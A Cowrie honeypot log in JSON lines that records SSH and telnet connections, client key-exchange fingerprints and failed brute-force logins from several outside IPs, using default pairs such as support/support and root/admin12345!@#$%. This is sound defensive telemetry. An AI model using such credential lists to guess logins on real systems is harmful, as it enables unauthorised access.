{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:32:56.610713Z","src_ip":"2.57.122.238","session":"826fae0c2d2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol123","message":"login attempt [sol/sol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:32:56.907477Z","src_ip":"2.57.122.238","session":"826fae0c2d2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.54151773452759,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:32:57.468116Z","src_ip":"206.189.32.23","session":"332d6cea9d55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:32:58.013069Z","src_ip":"2.57.122.238","session":"826fae0c2d2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.243727684020996,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:32:59.525391Z","src_ip":"206.189.32.23","session":"737f1d45c410","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.63224124908447,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:33:15.520299Z","src_ip":"206.189.32.23","session":"4ec5fb6d8b12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.749831199645996,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:33:15.675427Z","src_ip":"206.189.32.23","session":"c88d8a609800","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":47146,"dst_ip":"10.17.0.5","dst_port":23,"session":"6af41d41245d","protocol":"telnet","message":"New connection: 206.189.32.23:47146 (10.17.0.5:23) [session: 6af41d41245d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:33:19.668939Z"}
{"eventid":"cowrie.session.closed","duration":0.005137920379638672,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:33:19.673965Z","src_ip":"206.189.32.23","session":"6af41d41245d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":54170,"dst_ip":"10.17.0.5","dst_port":23,"session":"b18bff2f3f6c","protocol":"telnet","message":"New connection: 188.208.141.113:54170 (10.17.0.5:23) [session: b18bff2f3f6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:33:19.915380Z"}
{"eventid":"cowrie.session.closed","duration":43.279256105422974,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:33:26.569937Z","src_ip":"188.208.141.113","session":"2fde03566373","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.219.13.170","src_port":20630,"dst_ip":"159.203.135.109","dst_port":23,"session":"7038a6a23482","protocol":"telnet","message":"New connection: 200.219.13.170:20630 (159.203.135.109:23) [session: 7038a6a23482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:33:29.601349Z"}
{"eventid":"cowrie.session.closed","duration":35.85841727256775,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:33:31.686065Z","src_ip":"188.208.141.113","session":"f2a26cab77fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":37120,"dst_ip":"10.17.0.5","dst_port":23,"session":"8049af434704","protocol":"telnet","message":"New connection: 206.189.32.23:37120 (10.17.0.5:23) [session: 8049af434704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:33:31.985814Z"}
{"eventid":"cowrie.session.closed","duration":46.455565452575684,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:33:36.247575Z","src_ip":"206.189.32.23","session":"da3721693d34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":40192,"dst_ip":"10.17.0.5","dst_port":22,"session":"90639e6030ff","protocol":"ssh","message":"New connection: 193.46.255.86:40192 (10.17.0.5:22) [session: 90639e6030ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:33:36.469429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:33:36.473803Z","src_ip":"193.46.255.86","session":"90639e6030ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:33:36.613595Z","src_ip":"193.46.255.86","session":"90639e6030ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:33:37.246547Z","src_ip":"193.46.255.86","session":"90639e6030ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"123456","message":"login attempt [support/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:33:38.390017Z","src_ip":"193.46.255.86","session":"90639e6030ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":47586,"dst_ip":"10.17.0.5","dst_port":23,"session":"fed3dda4eae6","protocol":"telnet","message":"New connection: 206.189.32.23:47586 (10.17.0.5:23) [session: fed3dda4eae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:33:38.960629Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":37636,"dst_ip":"159.203.135.109","dst_port":22,"session":"b18cd07e7cc5","protocol":"ssh","message":"New connection: 103.170.173.26:37636 (159.203.135.109:22) [session: b18cd07e7cc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:33:39.069946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:33:39.074974Z","src_ip":"103.170.173.26","session":"b18cd07e7cc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:33:39.350504Z","src_ip":"103.170.173.26","session":"b18cd07e7cc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"abc123","message":"login attempt [support/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:33:39.533085Z","src_ip":"193.46.255.86","session":"90639e6030ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin12345!@#$%","message":"login attempt [root/admin12345!@#$%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:33:40.482760Z","src_ip":"103.170.173.26","session":"b18cd07e7cc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"abcd123","message":"login attempt [support/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:33:40.677189Z","src_ip":"193.46.255.86","session":"90639e6030ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:33:41.759333Z","src_ip":"103.170.173.26","session":"b18cd07e7cc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"abcd1234","message":"login attempt [support/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:33:41.819062Z","src_ip":"193.46.255.86","session":"90639e6030ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:33:42.965033Z","src_ip":"193.46.255.86","session":"90639e6030ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40348,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf1d51c6bb26","protocol":"telnet","message":"New connection: 188.208.141.113:40348 (10.17.0.5:23) [session: cf1d51c6bb26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:33:49.005955Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":33286,"dst_ip":"10.17.0.5","dst_port":23,"session":"85a403f5e81c","protocol":"telnet","message":"New connection: 206.189.32.23:33286 (10.17.0.5:23) [session: 85a403f5e81c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:33:51.329564Z"}
{"eventid":"cowrie.session.closed","duration":4.494721174240112,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:33:53.500560Z","src_ip":"188.208.141.113","session":"cf1d51c6bb26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":40040,"dst_ip":"10.17.0.5","dst_port":23,"session":"56d4a69f41e1","protocol":"telnet","message":"New connection: 206.189.32.23:40040 (10.17.0.5:23) [session: 56d4a69f41e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:33:55.943934Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":43518,"dst_ip":"10.17.0.5","dst_port":23,"session":"6250e39c064d","protocol":"telnet","message":"New connection: 206.189.32.23:43518 (10.17.0.5:23) [session: 6250e39c064d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:33:58.993018Z"}
{"eventid":"cowrie.session.closed","duration":49.98291373252869,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:34:09.898169Z","src_ip":"188.208.141.113","session":"b18bff2f3f6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.468138217926025,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:34:15.453839Z","src_ip":"206.189.32.23","session":"8049af434704","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":50152,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4980b03c7e0","protocol":"telnet","message":"New connection: 206.189.32.23:50152 (10.17.0.5:23) [session: e4980b03c7e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:34:32.432684Z"}
{"eventid":"cowrie.session.closed","duration":42.30950355529785,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:34:38.253294Z","src_ip":"206.189.32.23","session":"56d4a69f41e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.7244393825531,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:34:42.053881Z","src_ip":"206.189.32.23","session":"85a403f5e81c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38484,"dst_ip":"10.17.0.5","dst_port":23,"session":"50f77ebf68e6","protocol":"telnet","message":"New connection: 188.208.141.113:38484 (10.17.0.5:23) [session: 50f77ebf68e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:34:46.003978Z"}
{"eventid":"cowrie.session.closed","duration":48.89307498931885,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:34:47.885952Z","src_ip":"206.189.32.23","session":"6250e39c064d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":36058,"dst_ip":"10.17.0.5","dst_port":23,"session":"25c07d2a7f92","protocol":"telnet","message":"New connection: 206.189.32.23:36058 (10.17.0.5:23) [session: 25c07d2a7f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:34:48.480364Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40912,"dst_ip":"10.17.0.5","dst_port":23,"session":"b743b0d060b5","protocol":"telnet","message":"New connection: 188.208.141.113:40912 (10.17.0.5:23) [session: b743b0d060b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:34:51.731467Z"}
{"eventid":"cowrie.session.closed","duration":2.78478741645813,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:34:54.516177Z","src_ip":"188.208.141.113","session":"b743b0d060b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51600,"dst_ip":"159.203.135.109","dst_port":23,"session":"32e6d56bd090","protocol":"telnet","message":"New connection: 162.55.233.176:51600 (159.203.135.109:23) [session: 32e6d56bd090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:00.637346Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":33244,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b40aba80796","protocol":"ssh","message":"New connection: 2.57.122.238:33244 (10.17.0.5:22) [session: 4b40aba80796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:04.154909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:04.160353Z","src_ip":"2.57.122.238","session":"4b40aba80796","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:04.265727Z","src_ip":"2.57.122.238","session":"4b40aba80796","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:04.581370Z","src_ip":"2.57.122.238","session":"4b40aba80796","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:05.689533Z","src_ip":"2.57.122.238","session":"4b40aba80796","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56692,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5aefd26420f","protocol":"telnet","message":"New connection: 188.208.141.113:56692 (10.17.0.5:23) [session: b5aefd26420f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:10.718449Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":55630,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb6af28903b1","protocol":"telnet","message":"New connection: 206.189.32.23:55630 (10.17.0.5:23) [session: bb6af28903b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:11.024985Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":56692,"dst_ip":"10.17.0.5","dst_port":23,"session":"5dd8718996e0","protocol":"telnet","message":"New connection: 206.189.32.23:56692 (10.17.0.5:23) [session: 5dd8718996e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:12.422188Z"}
{"eventid":"cowrie.session.closed","duration":48.24090361595154,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:20.673478Z","src_ip":"206.189.32.23","session":"e4980b03c7e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.10","src_port":52952,"dst_ip":"10.17.0.5","dst_port":22,"session":"95d35ddfd53b","protocol":"ssh","message":"New connection: 190.108.60.10:52952 (10.17.0.5:22) [session: 95d35ddfd53b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:24.763776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:24.768609Z","src_ip":"190.108.60.10","session":"95d35ddfd53b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:24.972500Z","src_ip":"190.108.60.10","session":"95d35ddfd53b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpuser","password":"erpuser","message":"login attempt [erpuser/erpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:35:25.807921Z","src_ip":"190.108.60.10","session":"95d35ddfd53b","protocol":"ssh"}
